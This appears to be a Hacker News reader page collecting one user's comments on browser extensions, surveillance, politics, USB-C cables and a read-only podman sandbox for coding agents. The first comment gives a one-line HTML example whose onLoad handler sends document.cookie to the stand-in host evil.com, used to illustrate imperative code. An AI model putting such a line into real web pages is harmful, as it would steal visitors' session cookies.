Hacker News Reader

tremonon Firefox is now the last major browser that still supports uBlock Origin

That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">

tremonon Firefox is now the last major browser that still supports uBlock Origin

I want my browser to prevent random extensions from directly reading web page data

I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have control over said third-party javascript while I do have control over the extensions I'm using. The browser is supposed to be a user agent, not act as an extension of the website owner.

tremonon US conducted mass spying campaign against leftwing and anti-ICE protesters

Indeed, they are not committing a crime here. They are not discussing illegal shit, they are merely talking about discussing illegal shit, and that is still protected by the First Amendment.

tremonon France's tax authority had data stolen on 680k taxpayers

How, exactly, are these the same people?

tremonon License plate reader searches should require a warrant

Seems to me that as long as parallel construction doesn't lead to long prison sentences for the perpetrators, you should assume it's ordinary practice. Police and other surveillance authorities have zero legal reason to take their hand out of the cookie jar, and every reason to keep this out of public knowledge.

tremonon Controversial creators are benefiting from monetization programs run by Meta

> If the right can learn to tolerate different opinions that they find offensive

Ah look, it's the hallmark of well-reasoned thinking. I have seen this exact phrasing numerous times over the past week, did the bots learn a new talking point? "The right" sure is doing a lot of tolerating around abortion, trans identities and women's bathrooms and sports.

tremonon Thanks to social media, canned sardines are a scarcity on the supermarket shelf

That's ok, total ecosystem collapse will also reduce the human population.

tremonon Thanks to social media, canned sardines are a scarcity on the supermarket shelf

What's a "sustainable" fertility rate to you? Given that the current human biomass is completely unprecedented in all of history and is only made possible by artificial energy inputs (fossil fuels and ammonia/fertilizer), I posit that the only sustainable fertility rate is well below 2.0

tremonon London Underground begins scanning passengers' faces

I only use the mobile handheld scanner version. If someone has to go through all my items and scan them at the terminal, it's not going to be me; store clerks can do that much faster than I can.

tremonon England set to be one of the first countries to eliminate hepatitis C

it's a country and a nation, but not a nation state.

tremonon England set to be one of the first countries to eliminate hepatitis C

"has nothing to do with it" is not the same as "is not the cause of". Trump and antivax definitely are related as both are symptoms of the same public strategy that spreads misinformation, polarizes discourse and weaponizes stupidity.

tremonon The “mechanical miracle” that ruined Mark Twain’s life

All of those considerations are predicated on having the printing press first. There is little value in advanced literacy if written knowledge is rare or hard to come by. There is no need for licensing if verbatim copying takes a lifetime rather than an afternoon. Why would someone need an elaborate distribution system if their output is limited to (let's say) 2 books/year?

tremonon Greenland issues "strong warning" as American oil firm illegally drills wells

It's not an invasion, it's a special drilling operation.

tremonon Greenland issues "strong warning" as American oil firm illegally drills wells

I don't see the contradiction. "Who's going to stop me?" implies that the expectation is for no one to stop him. But when someone eventually does, it's TACO time.

tremonon Georgia police officers fired after Flock camera misuse

And soon also Nexar, Uber and Lyft: https://www.techtimes.com/articles/323541/20260807/flock-sec...

It's only a matter of time before every self-driving vehicle will have its cameras used for surveillance.

tremonon France to ban unsolicited telemarketing calls

> I have not received a single unsolicited call from a reputable company.

Yet you receive 20 spam calls a day through a known company, namely your phone provider. The way to solve this is to forcibly draft the providers into this; for example: any time you receive a spam call, you can dial a special *# number after hanging up. This message will have the effect of crediting $5 on your next phone bill, and allows the provider to recoup that loss from the originating provider, etc, all the way to the caller itself. The first company in the chain not cooperating in this scheme is out $5 per spam call through their network.

Of course, something like this needs the usual protection against abuse, but that's equally manageable.

tremonon Auto mode is now the default in Claude Code

Just for reference, here's my local "devcontainer" script:

  exec podman container run --rm --read-only --network=llm \
    --tmpfs=/tmp:size=128M \
    --volume="$1":/workspace \
    --entrypoint=/insert/agent/here \
    container-image-here

This runs the specified agent in a read-only container with only /workspace and /tmp writable. Obviously, you need to prepare the image first from a Containerfile/Dockerfile, with the required toolchain and agent installed. I use agent-specific ssh keys that are baked into the image, but you could also bind-mount specific files from your own homedir if required.

tremonon Silicon Valley misreads science fiction and undermines democracy

> a lot of philosophy is actually bullshit

> How would you expect me to defend it? It's my opinion

One of the first useful things that philosophy teaches you is how to construct a well-rounded argument in support of any position. Following up "philosophy is useless" with "I don't know how to argue my own opinion" demonstrates quite a lack of awareness.

tremonon Georgia police officers fired after Flock camera misuse

Certainly! And probably a multitude of other devices and phone apps as well.

tremonon Georgia police officers fired after Flock camera misuse

It's not that useful to single out Flock for that purpose. Google Nest and Amazon Alexa are also in that category.

tremonon Poland now 6th-largest EU economy, ahead of Switzerland and Belgium

Indeed, this is a great example of how the EU manages to grow its internal market.

tremonon Mea Culpa – Dark Hours

> Apple's App Store that prohibits astrology apps

That's curious. What legitimate-sounding reason could Apple have to reject astrology on their platform? Isn't this exactly the kind of discrimination against fields of endeavour that would make a slam-dunk case for any antitrust enforcement?

tremonon Fastmail offers EU data region

E2E encryption is meaningless for an e-mail hosting provider; they are by necessity one of the E's.

tremonon Fastmail offers EU data region

Which means that not even a European subsidiary will prevent data exfiltration by FVEY. Australia can just issue a TCN to the parent company to add a backdoor to the software used by the European subsidiary.

tremonon “Code was never the hard part” is an insult to all programmers

The English term "software engineer" is not a protected title anywhere, FAFAIK. However, the local language equivalent of "engineer" is protected pretty much everywhere in Europe because it was awarded solely at technical colleges and universities. The title is (mostly) equivalent to a Master of Science degree, except that technical colleges could also award it (the English equivalent being Master without field designation).

tremonon Can Intel finally beat ARM on performance per Watt?

> this laptop was loaned to me for a couple weeks

> this was not sponsored in any way

Aren't you contradicting yourself here? For what purpose was the laptop loaned to you, and by whom? I'd consider a review loan a kind of sponsorship, even if you weren't paid to come to a specific conclusion.

tremonon Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

For anything more complex than linear shell scripting, I prefer ruby --disable-gems these days. As you say, Python is horrible for composing and executing shell commands, but Ruby's FileUtils#sh (combined with %W{} array literals, %x{} output capturing and regular #{} string interpolation) provides a pretty low-impedance interface.

tremonon I stopped trusting USB-C cable labels and started testing them

> You'll frequently see white and blue

I've never seen white; in order of prevalence, I've seen black, blue, red, and yellow. But such colour coding is not standardized, every manufacturer is free to choose their own rainbow.

tremonon I stopped trusting USB-C cable labels and started testing them

That's still an astonishing design failure: different ports have different connectors for a reason. Can you imagine a what would have happened if the car charging infrastructure would have used your regular 120/230V plugs? There is zero reason why 480mbps USB-C should exist when we already had 480mbps USB-A, except for misguided designers prioritizing aesthetics over usability.

tremonon Meta Ran Ads That Contained AI-Generated Child Sexual Abuse Imagery

Rather, this is institutional crime. Organised crime is when crime operates its own control structures in defiance of government enforcement; this is the government actively allowing the crime to proliferate.